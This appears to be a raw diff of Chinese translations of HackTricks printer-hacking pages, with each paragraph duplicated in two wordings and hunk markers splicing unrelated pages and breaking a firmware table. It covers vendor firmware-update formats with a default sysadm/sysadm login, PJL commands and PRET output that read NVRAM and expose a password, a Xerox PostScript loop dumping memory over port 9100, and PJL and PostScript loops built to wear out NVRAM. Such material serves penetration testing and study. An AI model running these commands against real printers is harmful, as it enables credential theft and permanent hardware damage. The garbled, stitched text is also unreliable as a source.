在[support.ricoh.com](https://support.ricoh.com/)上的“固件下载中心”不对普通公众开放。幸运的是,互联网上包含了一些驱动程序/固件下载页面的直接链接,因此可以通过简单的Google搜索(`site:support.ricoh.com firmware`)获取31个固件文件。可以使用unp解压文件。14个`.bin`文件包含`@PJL RSYSTEMUPDATE SIZE=…`,而15个`.brn`文件与`settings.ini`相关联,包括`@PJL FWDOWNLOAD`和`USERID=sysadm, PASSWORD=sysadm`。Ricoh没有提供任何关于保护机制的最新信息。在2007年的一份白皮书中,Ricoh声称“只有服务技术人员才有密码和专用帐户用于进行固件更新”\[13\]。
|
||||
在[support.ricoh.com](https://support.ricoh.com/)的‘固件下载中心’不对公众开放。幸运的是,互联网包含直接链接到一些驱动程序/固件下载页面,因此可以使用简单的Google搜索\(`site:support.ricoh.com firmware`\)获取31个固件文件。文件可以使用unp解压。14个`.bin`文件包含`@PJL RSYSTEMUPDATE SIZE=…`,而15个`.brn`文件与`settings.ini`相关联,包括`@PJL FWDOWNLOAD`和`USERID=sysadm, PASSWORD=sysadm`。Ricoh没有提供任何最新的保护机制信息。在一份可追溯到2007年的白皮书中,Ricoh声称‘只有服务技术人员有密码和专用账户进行固件更新’[\[13\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-13)。
|
||||
|
||||
### Kyocera
|
||||
|
||||
Kyocera不向最终用户发布固件。然而,在公开可用的Kyocera经销商论坛上,链接了各种型号的固件下载:[ftp.kdaconnect.com](ftp://ftp.kdaconnect.com/)。可以使用unp解压文件,并包含可挂载的cramfs\[14\]和squashfs\[15\]映像以及专有的二进制格式。固件以`!R! UPGR'SYS';EXIT;`前缀部署为打印作业- PRESCRIBE页面描述语言的升级命令\[16\]。Kyocera没有发布任何公开可用的保护机制信息。
|
||||
Kyocera不向最终用户发布固件。然而,在一个公开可用的Kyocera经销商论坛中,链接了各种型号的固件下载:[ftp.kdaconnect.com](ftp://ftp.kdaconnect.com/)。文件可以使用unp解压,并包含可挂载的cramfs[\[14\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-14)和squashfs[\[15\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-15)镜像以及专有的二进制格式。固件作为打印作业部署,前面加上`!R! UPGR'SYS';EXIT;`——PRESCRIBE页面描述语言的升级命令[\[16\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-16)。Kyocera尚未发布任何公开可用的保护机制信息。
|
||||
|
||||
### Konica
|
||||
|
||||
尽管没有积极推广,但可以从[download6.konicaminolta.eu](http://download6.konicaminolta.eu/)下载Konica Minolta打印机的固件。较新的互联网连接设备具有执行固件更新的功能。压缩文件以不同的格式提供,并可以使用unp、unzip和tar解压,结果得到38个专有的`.bin`文件,20个基于PostScript的旧设备的“softload打印机模块”和14个具有不同扩展名的文件,包含像`@PJL ENTER LANGUAGE=FIRMUPDATE`这样的PJL命令。Konica Minolta的安全白皮书声称使用“哈希值”验证固件\[17\]。可以怀疑这样的方案是否具有密码学安全性。
|
||||
虽然没有积极推广,但可以从[download6.konicaminolta.eu](http://download6.konicaminolta.eu/)下载Konica Minolta打印机的固件。较新的联网设备有能力自行进行固件更新。压缩文件有不同的格式,可以使用unp、unzip和tar解压,结果是38个专有的`.bin`文件,20个用于旧设备的基于PostScript的‘softload打印机模块’和14个包含PJL命令的不同扩展名的文件,如`@PJL ENTER LANGUAGE=FIRMUPDATE`。Konica Minolta的安全白皮书声称固件使用‘哈希值’进行验证[\[17\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-17)。可以怀疑这样的方案在密码学上是否安全。
|
||||
|
||||
## 结果
|
||||
|
||||
在十个分析的制造商中,有九个在其固件更新过程中使用[PJL](http://hacking-printers.net/wiki/index.php/PJL)命令,这是更新部署为普通打印作业的强有力指标。剩下的制造商-Kyocera-应用PRESCRIBE页面描述语言。因此,可以说在打印行业中,通过打印通道本身安装新固件是常见的,并且存在一个几乎所有打印机设备中的**主要设计缺陷**:**数据和代码通过同一通道传输**。然而,由于大多数制造商没有提供关于保护机制的合理说明,因此很难利用这个问题。因此,对固件修改攻击的深入分析应该成为未来研究的一部分。下面是所有获取的固件文件的文件头或类型的摘要:
|
||||
在分析的十个制造商中,九个使用[PJL](http://hacking-printers.net/wiki/index.php/PJL)命令进行所有或至少一些固件更新程序,这是一个强烈的指标,表明更新被部署为普通打印作业。剩下的制造商——Kyocera——应用PRESCRIBE页面描述语言。因此,可以说在打印行业中,通过打印通道本身安装新固件是常见的,并且几乎在任何打印设备中都存在一个**主要设计缺陷**:**数据和代码通过同一通道**。然而,利用这个问题是困难的,因为对于大多数制造商来说,不能对保护机制做出合理的声明。因此,对固件修改攻击的深入分析应该是未来研究的一部分。下面给出了所有获得的固件文件的文件头或类型的摘要:
|
||||
|
||||
| 制造商 | 扩展名 | 数量 | 文件头或类型 |
|
||||
| 供应商 | 扩展名 | 数量 | 文件头或类型 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| HP | rfu | 419 | @PJL UPGRADE SIZE=… |
|
||||
| bdl | 206 | FutureSmart二进制格式 | |
|
||||
|
@ -81,60 +80,19 @@ Kyocera不向最终用户发布固件。然而,在公开可用的Kyocera经销
|
|||
| prn | 25 | @PJL ENTER LANGUAGE=DOWNLOAD | |
|
||||
| hd | 18 | @PJL FIRMWARE=… | |
|
||||
| brn | 3 | 未知二进制,包含配置文件 | |
|
||||
| ps | 2 | PostScript(标题:固件更新) | |
|
||||
| ps | 2 | PostScript \(标题:固件更新\) | |
|
||||
| pjl | 1 | @PJL ENTER LANGUAGE=FLASH | |
|
||||
| Brother | djf | 79 | @PJL EXECUTE BRDOWNLOAD |
|
||||
| blf | 9 | @PJL ENTER LANGUAGE=PCL | |
|
||||
| 品牌 | 格式 | 大小 | 固件标识 |
|
||||
| --- | --- | --- | --- |
|
||||
| Lexmark | fls | 63 | @PJL LPROGRAMRIP |
|
||||
| bin, fls | 6 | 未知二进制格式 | |
|
||||
| Samsung | hd | 33 | @PJL FIRMWARE=… |
|
||||
| fls, hd0 | 4 | @PJL DEFAULT P1284VALUE=… | |
|
||||
| Xerox | ps | 36 | PostScript(标题:固件更新) |
|
||||
| Xerox | ps | 36 | PostScript \(标题:固件更新\) |
|
||||
| dlm | 35 | Xerox动态可加载模块 | |
|
||||
| prn, bin | 20 | @PJL ENTER LANGUAGE=DOWNLOAD | |
|
||||
| hd | 16 | @PJL FIRMWARE=… | |
|
||||
| brn | 10 | 未知二进制,包含配置文件 | |
|
||||
| bin | 10 | @PJL SET JOBATTR="@SWDL" | |
|
||||
| fls, hd, hde | 8 | @PJL DEFAULT P1284VALUE=… | |
|
||||
| fls, xfc | 4 | @PJL ENTER LANGUAGE=XFLASH | |
|
||||
| pjl | 3 | @PJL FSDOWNLOAD [name].rpm | |
|
||||
| axf | 3 | RISC OS AIF可执行文件 | |
|
||||
| Ricoh | brn | 15 | @PJL FWDOWNLOAD… |
|
||||
| bin | 14 | @PJL RSYSTEMUPDATE SIZE=… | |
|
||||
| fls | 4 | @PJL LPROGRAMRIP | |
|
||||
| Kyocera | cramfs, img | 98 | cramfs映像 |
|
||||
| bin, squashfs | 79 | squashfs映像 | |
|
||||
| bin, kmmfp | 41 | u-boot legacy uImage | |
|
||||
| efi, kmpanel | 13 | 专有图像格式 | |
|
||||
| Konica Minolta | bin | 38 | 未知二进制,附加校验和文件 |
|
||||
| ps | 20 | PostScript(标题:软件加载打印机模块) | |
|
||||
| ftp, prn | 11 | @PJL ENTER LANGUAGE=FIRMUPDATE | |
|
||||
| upg | 1 | @PJL ENTER LANGUAGE=UPGRADE | |
|
||||
|
||||
**如何测试此攻击?**
|
||||
|
||||
代码签名的安全性基于保持私钥的长期商业机密。然而,仍然存在一些潜在易受恶意固件攻击的打印机,这可能是因为它们尚未进行更新,或者因为专有校验和算法被销售为具有密码学安全性的数字签名方案。必须指出,如果供应商不记录其固件格式和更新程序,分析固件可能很困难,通常需要进行一些逆向工程。因此,测试固件修改攻击的可行性并不容易。在简单的测试中,可以翻转一个位并检查打印机设备是否仍然接受修改后的固件。如果不接受,则打印机验证了校验和或数字签名。找到差异并不总是容易的,编写恶意固件(带有正确的校验和)可能是一个耗时的项目。
|
||||
|
||||
其他攻击场景包括:
|
||||
|
||||
* 即使固件已签名,也可能能够降级到某个已知存在安全弱点的(已签名)固件版本。
|
||||
* 即使固件已签名,有时也可以挂载它以获取更多信息(特别是Konica Minolta固件易于挂载)。
|
||||
* 固件签名并不意味着它是安全的。使用binwalk/grep等工具,可以找到具有已知漏洞的组件,如[CVE-2015-7547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-7547)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
| fls, xfc | 4 | @PJL ENTER LANGUAGE=XFLASH |
|
||||
|
|
|
@ -1,28 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习 AWS 黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注我。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**您可以尝试转储 NVRAM 并从中提取机密信息(如密码)。**
|
||||
|
||||
在 **PJL(Brother)** 中,您可以使用以下 PJL 访问**任意 NVRAM 地址**,如下所示:
|
||||
在 **PJL (Brother)** 中,您可以使用 PJL 访问**任意 NVRAM 地址**,如下所示:
|
||||
```bash
|
||||
@PJL RNVRAM ADDRESS = X # read byte at location X
|
||||
@PJL WNVRAM ADDRESS = X DATA = Y # write byte Y to location X
|
||||
```
|
||||
您可以使用[**PRET**](https://github.com/RUB-NDS/PRET)来测试此攻击:
|
||||
您可以使用 [**PRET**](https://github.com/RUB-NDS/PRET) 来测试这种攻击:
|
||||
```bash
|
||||
./pret.py -q printer pjl
|
||||
Connection to printer established
|
||||
|
@ -35,7 +33,7 @@ Writing copy to nvram/printer
|
|||
............................................MyS3cretPassw0rd....................
|
||||
................................................................................
|
||||
```
|
||||
某些**Xerox打印机型号**内置了专有的**PostScript** `vxmemfetch` 运算符,允许攻击者读取任意内存地址。使用PostScript循环,可以轻松地使用此功能将整个内存转储如下所示(PRET没有此攻击,因此您需要将此有效负载发送到`nc`连接中的端口9100):
|
||||
某些**Xerox打印机型号**内置了专有的**PostScript** `vxmemfetch`操作符,允许攻击者读取任意内存地址。通过使用PostScript循环,如下所示,可以轻松地用这个功能来转储整个内存(PRET没有这个攻击,所以你需要将这个有效载荷通过`nc`连接发送到9100端口):
|
||||
```
|
||||
/counter 0 def 50000 {
|
||||
/counter counter 1 add def
|
||||
|
@ -43,21 +41,18 @@ currentdict /RRCustomProcs /ProcSet findresource begin
|
|||
begin counter 1 false vxmemfetch end end == counter
|
||||
} repeat
|
||||
```
|
||||
**更多信息请参考:**[**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory\_access)
|
||||
|
||||
**更多信息请访问:** [**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory\_access)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
打印机和其他嵌入式设备的长期设置存储在非易失性存储器([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory))中,传统上实现为[EEPROM](https://en.wikipedia.org/wiki/EEPROM)或[闪存](https://en.wikipedia.org/wiki/Flash\_memory)。这两个组件都有有限的寿命。如今,闪存供应商保证在出现任何写入错误之前,可以进行约100,000次重写。
|
||||
打印机和其他嵌入式设备的长期设置存储在非易失性内存([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory))中,传统上要么作为 [EEPROM](https://en.wikipedia.org/wiki/EEPROM) 或作为 [闪存](https://en.wikipedia.org/wiki/Flash\_memory) 实现。这两个组件都有有限的寿命。如今,闪存供应商保证大约100,000次重写之前不会发生写入错误。
|
||||
|
||||
## PJL
|
||||
|
||||
为了测试破坏NVRAM写入功能的实际效果,可以连续使用不同的`X`值设置副本数量的长期值:
|
||||
为了实际测试破坏NVRAM写功能,可以连续设置不同`X`值的长期副本数量:
|
||||
```
|
||||
@PJL DEFAULT COPIES=X
|
||||
```
|
||||
通常,在停止允许写入之前,NVRAM参数被固定为出厂默认值,并且可以使用`@PJL SET...`命令更改当前打印作业的所有变量。
|
||||
通常,在停止允许写入更多NVRAM参数之前,参数会被固定为出厂默认值,而所有变量仍然可以使用`@PJL SET...`命令为当前打印任务进行更改。
|
||||
|
||||
使用[PRET](https://github.com/RUB-NDS/PRET):
|
||||
使用 [PRET](https://github.com/RUB-NDS/PRET):
|
||||
```
|
||||
./pret.py -q printer pjl
|
||||
Connection to printer established
|
||||
|
@ -42,8 +40,8 @@ NVRAM died after 543894 cycles, 18:46:11
|
|||
```
|
||||
## PostScript
|
||||
|
||||
对于PostScript,需要找到当前系统参数字典中的一个条目,该条目在重新启动后仍然存在(因此必须存储在某种NVRAM中)。一个很好的候选者是PostScript密码。\
|
||||
PostScript可以运行一个脚本来破坏自己的NVRAM:
|
||||
对于PostScript,需要在currentsystemparams字典中找到一个在重启后依然存在的条目(因此必须存储在某种NVRAM中)。一个好的候选项是PostScript密码。\
|
||||
PostScript可以运行一个脚本来损坏它自己的NVRAM:
|
||||
```
|
||||
/counter 0 def
|
||||
{ << /Password counter 16 string cvs
|
||||
|
@ -51,21 +49,18 @@ PostScript可以运行一个脚本来破坏自己的NVRAM:
|
|||
>> setsystemparams /counter counter 1 add def
|
||||
} loop
|
||||
```
|
||||
**关于这些技术的更多信息可以在** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage) **找到**
|
||||
|
||||
**更多关于这些技术的信息可以在** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage) **找到。**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 内容覆盖
|
||||
|
||||
一种简单的操纵打印输出外观的方法是**使用叠加**。\
|
||||
[**PCL**](./#pcl)有一个文档化的功能,可以将**叠加宏**放在文档的顶部。不幸的是,此功能**仅限于当前打印作业**,无法永久设置。\
|
||||
[**PostScript**](./#postscript-ps)默认情况下不提供此功能,但可以通过**重新定义每个PostScript文档中打印当前页面的showpage运算符**来编程实现。攻击者可以在其中**插入自己的代码**,然后调用运算符的原始版本。\
|
||||
因此,她可以使用自定义的EPS文件覆盖要打印的所有页面。这种黑客技术可以用于**向文档的硬拷贝添加任意图形或字体**(通过叠加空白页面然后添加自定义内容可以完全改变文档的外观)。\
|
||||
显然,只有在使用PostScript作为打印机驱动程序且未设置`StartJobPassword`的情况下,此方法才能成功。
|
||||
一种简单的操纵打印输出外观的方法是**使用**覆盖层。\
|
||||
[**PCL**](./#pcl) 有一个记录功能,可以在文档上方放置**覆盖宏**。不幸的是,此功能**仅限于当前打印作业**,无法做到永久性。\
|
||||
[**PostScript**](./#postscript-ps) 默认情况下不提供此功能,但可以通过**重新定义showpage**操作符来编程实现,该操作符包含在每个PostScript文档中以打印当前页面。攻击者可以在那里**挂钩**,执行她自己的代码,然后调用操作符的原始版本。\
|
||||
